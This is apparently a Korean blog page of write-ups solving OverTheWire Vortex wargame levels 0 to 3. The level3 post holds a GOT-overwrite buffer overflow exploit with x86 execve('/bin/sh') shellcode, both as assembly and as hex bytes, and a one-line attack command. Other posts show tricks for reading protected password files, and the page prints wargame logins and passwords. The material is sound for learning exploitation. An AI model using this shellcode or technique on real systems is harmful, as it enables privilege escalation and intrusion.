'War_Game/Vortex'에 해당되는 글 4건

  1. 2013.10.10 [vortex] level3 -> level4
  2. 2013.07.29 [Vortex] level0 -> level1
  3. 2012.03.31 [vortex] level2 -> level3
  4. 2012.03.29 [vortex] level1 -> level2
2013.10.10 00:13


[vortex] level3 -> level4


IP : 178.79.134.250

PORT : 22

ID : vortex3

PW : 64ncXTvx#

http://www.overthewire.org/wargames/vortex/vortex3.shtml ]

Level 3 → Level 4

1 /* 2 * 0xbadc0ded.org Challenge #02 (2003-07-08) 3 * 4 * Joel Eriksson <je@0xbadc0ded.org> 5 */ 6 7 #include <string.h> 8 #include <stdlib.h> 9 #include <stdio.h> 10 11 unsigned long val = 31337; 12 unsigned long *lp = &val; 13 14 int main(int argc, char **argv) 15 { 16 unsigned long **lpp = &lp, *tmp; 17 char buf[128]; 18 19 if (argc != 2) 20 exit(1); 21 22 strcpy(buf, argv[1]); 24 if (((unsigned long) lpp & 0xffff0000) != 0x08040000) 25 exit(2); 27 tmp = *lpp; 28 **lpp = (unsigned long) &buf; 29 // *lpp = tmp; // Fix suggested by Michael Weissbacher @mweissbacher 2013-06-30 30 31 exit(0); 32 }


중요시 봐야할 점은 29번째 라인까지 왔을때의 포인터 관계는 다음과 같다 .
tmp = *lpp  // lpp 가 가르키는 값 즉 val 값이 들어간다.
**lpp=&buf; //buffer에 쉘코드를 박으면 **lpp는 그것을 가르킨다.

변조한 *lpp 이 가르키는 곳에 &buff, 즉 쉘코드를 가르키게 할 수 있다.
ret 을 덮어 띄워서 일반적인 BOF를 하고 싶지만 코드 끝에 exit(0) 이 있어서
ret을 호출하기 전에 종료 되므로 다른 방법을 써야 한다.

방안 1) dtors 를 덮어 씌워 종료시 쉘코드를 호출 시킨다.  
       //다른 블로그엔 이방법을 많이 썼으나 필자는 dtors를 가르키는 주소가 없음.

방안 2) exit@got 을 덮어 씌운다. 두번째 exit가 호출될 때 쉘코드가 호출 된다.

(gdb) x/xi 0x8048320  //exit@PLT
   0x8048320 <exit@plt>: jmp    *0x8049738

(gdb) p exit 
$1 = {<text variable, no debug info>} 0x8048320 <exit@plt>
//code section 부터 0x8049738 주소가 있는 곳을 뒤져볼 생각이였음.

(gdb) find  0x8048320 , + 10000 , 0x8049738
warning: Unable to access target memory at 0x8048320, halting search.
Pattern not found. 
//access 권한이 없어서 검색 범위를 좁힘.

(gdb) find  0x8048320 , +100 , 0x8049738
0x8048322 <exit@plt+2>
//이 주소가 가르키는 곳이 exit@got 이다.

1 pattern found.

스택의 구조는 아래와 같다. 
stack struct
[ buff = 128 ] [ tmp = 4 ] [ lpp = 4  ] [ sfp ] [ ret ] 

 shellcode(43) + dummy(89) + *(exit@got) 

[shellcode k1rha.s]

.global main

main:

xor %ecx,%ecx

mov $0x138c, %cx

xor %ebx,%ebx

mov $0x138c, %bx

xor %eax,%eax

mov $0x46, %al

int $0x80


xor %eax,%eax

xor %edx,%edx


movb $0xb,%al

push %edx

push $0x68732f2f

push $0x6e69622f

mov %esp,%ebx

push %edx

push %ebx

movl %esp,%ecx

int $0x80


gcc -o k1rha k1rha.s -m32 -z execstack  //stack 실행권한 및 32비트 설정

sizeof( \x31\xc9\x66\xb9\x8c\x13\x31\xdb\x66\xbb\x8c\x13\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80 ) == 43 byte



[ attack ]

vortex3@melinda:/vortex$ ./vortex3 `python -c 'print "\x31\xc9\x66\xb9\x8c\x13\x31\xdb\x66\xbb\x8c\x13\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80" + "a"*89 + "\x22\x83\x04\x08"'`
$ id
uid=5004(vortex4) gid=5003(vortex3) groups=5004(vortex4),5003(vortex3)
$ cat /etc/vortex_pass/vortex4
2YmgK1=jw


'War_Game > Vortex' 카테고리의 다른 글

[vortex] level3 -> level4  (0) 2013.10.10
[Vortex] level0 -> level1  (0) 2013.07.29
[vortex] level2 -> level3  (0) 2012.03.31
[vortex] level1 -> level2  (0) 2012.03.29
Posted by k1rha
2013.07.29 23:21

[Vortex] level0 -> level1


[ 링크 : http://www.overthewire.org/wargames/vortex/vortex0.shtml ]



4개의 unsigned integer 숫자들을 Host byte 정렬로 받아서 다 더한 다음 다시 전송하라..

그러면 너는 user와 passwd 를 알것이다... 


코드는 아래와 같이 짰다.





'War_Game > Vortex' 카테고리의 다른 글

[vortex] level3 -> level4  (0) 2013.10.10
[Vortex] level0 -> level1  (0) 2013.07.29
[vortex] level2 -> level3  (0) 2012.03.31
[vortex] level1 -> level2  (0) 2012.03.29
Posted by k1rha
2012.03.31 04:08

[vortex] level2 -> level3


IP : 178.79.134.250

PORT : 22

ID : vortex2 

PW : 23anbT\rE



Level Goal:
Create a special tar file
Helpful Reading Material
GNU tar manual
Code listing (vortex2.c)
 1 #include <stdlib.h>
 2 #include <stdio.h>
 3 #include <sys/types.h>
 4 
 5 
 6 int main(int argc, char **argv)
 7 {
 8         char *args[] = { "/bin/tar", "cf", "/tmp/ownership.$$.tar", argv[1], argv[2], argv[3] };
 9         execv(args[0], args);
10 }




char  *buff[] = {"bin/tar","cf","/tmp/ownership.$$.tar",argv[1],argv[2],argv[3]};
execv( buff[0],buff);


즉 인자값으로 들어가는 값들을 /tmp/ownership.$$.tar 로 압축 해준다. 
그렇담 패스워드가 들어있는 파일을 압축을해 보자. 

/etc/vortex_pass 로 들어가서 
vortex3 패스워드를 얻어내면된다.

공격구문은 아래와 같다. 




KEY = 64ncXTvx#


'War_Game > Vortex' 카테고리의 다른 글

[vortex] level3 -> level4  (0) 2013.10.10
[Vortex] level0 -> level1  (0) 2013.07.29
[vortex] level2 -> level3  (0) 2012.03.31
[vortex] level1 -> level2  (0) 2012.03.29
Posted by k1rha
2012.03.29 16:22
IP : 178.79.134.250
PORT : 22
ID : vortex1 
PW : Gq#qu3bF3

취약한 파일을 실행하면 아래와 같이 16진수의 어떤 값들을 뿌려준다.  input을 바꾸어 가면서 여러번 입력해 보았지만 결과값은 전부 같은 것이 출력 되는것 같다. 

setuid 가 걸린 파일은 gdb로 분석이 안되므로 /tmp/ 디렉토리(쓰기가 가능한 디렉토리) 에 복사하여 setuid 를 없애고 


k1rha@ubuntu:~/zANruhPR_public_html/vortex/vortex1$

이후 파일을 다운받아 IDA 의 헥스레이를 이용하여 간단하게 복구를 해보았다. 

코드는 다음과 같다 . 



while 문을 통해 글자를 한글자씩 받는다. 

그리고 그 문자열이 -1 (EOF) 일때까지 돌리고 EOF이면 종료 된다. 

문자열이 헥사코드 10 (\n) 이면 버퍼의 주소값부터 512개를 출력 시킨다. 

그리고 문자열중 \\ (헥사코드 c5 를 문자열로 바꿈)이 나오면 포인터를 하나 감소시킨다(문자이므로 1바이트 임)


그리고 그외에는 그 포인터의 값이 256 값일때 (0xff와 & 연산한 부분의 값이 ) 0xCA 와 같을때 setuid 를 셋팅하고 /bin/bash를 실행해 준다. 때문에 ptr을 257번 빼준뒤 ca를 넣어서 256값이 ca가 되도록 해줘야 한다. 

PTR은 

Payload 를 그려보면


                      

[ ,,,   ][x (변수)][ buff[0--> 256] ][e()][sfp][ret][argc][argv][env] 이다. 

                         ^ (ptr 포인터 부분)

처음 OS 환경이 x86인 intel CPU 이기에 메모리주소값은 little endian 방식을 취하므로 buff 에서 ret 으로 갈수록 작은 주소값을 가진다.


이때 x 가 \\ 가 들어올때마다 ptr 이 하나씩 감소한다. 즉 buff[0]부터 하나씩 포인터가 감소하여 buff[256]을 지나는 순간의 값이 0xCA가 되면 되는것이다. 


인자값 전달은 perl 을 사용하였다. 받는 값이 getchar 이니, perl로 출력된 값을 그대로 전달하면 될것이다. 



쉘이 떨어지긴하는데 바로 exit가 되버린다.  이럴때 ;cat 명령어와 함께 사용해 주어, 멈추게 하는 방법을 hackerschool 문제때 사용했으나 이경우엔 먹통이 되어 아무 명령도 실행 할 수 없었다. 

검색을 해본결과 아래와 같은 부분을 찾을 수 있었다.

========================================================================================================

리눅스에서 사용되는 |(파이프) 명령어는 4096바이트를 차지한다는 것이다.

즉, 4096바이트 크기를 넘지않는 4096바이트 안에 포함된 모든 입력값들은 파이프 명령어가 꿀꺽하기 때문에 쉘에 명령어가 전달이 되지 못한다는 것이다.

 

즉, 쉘을 획득한 상태에서 파이프로 인자를 넘기려면 4096이상 넘겨야 쉘코드로 인자를 넘겨 실행하는 것이 가능하다는 말이군!

 

[출처] Vortex Level1|작성자 hks9999

===========================================================================================================

좋아~ 일정 바이트를 넘겨야 한다 이거군..


테스트를 해보자.. 우선 패스워드는 /etc/vortex_pass/에 있다고 했으니 그곳을 읽는 걸로 바로 명령어를 쳐보자 



위와같이 a를 3838개를 넣었을때 command not found 에서 명령어 a가 다 사라졌다.  그리고 vortex2의 패스워드를 얻을 수 있었다. 


PW : 23anbT\rE





'War_Game > Vortex' 카테고리의 다른 글

[vortex] level3 -> level4  (0) 2013.10.10
[Vortex] level0 -> level1  (0) 2013.07.29
[vortex] level2 -> level3  (0) 2012.03.31
[vortex] level1 -> level2  (0) 2012.03.29
Posted by k1rha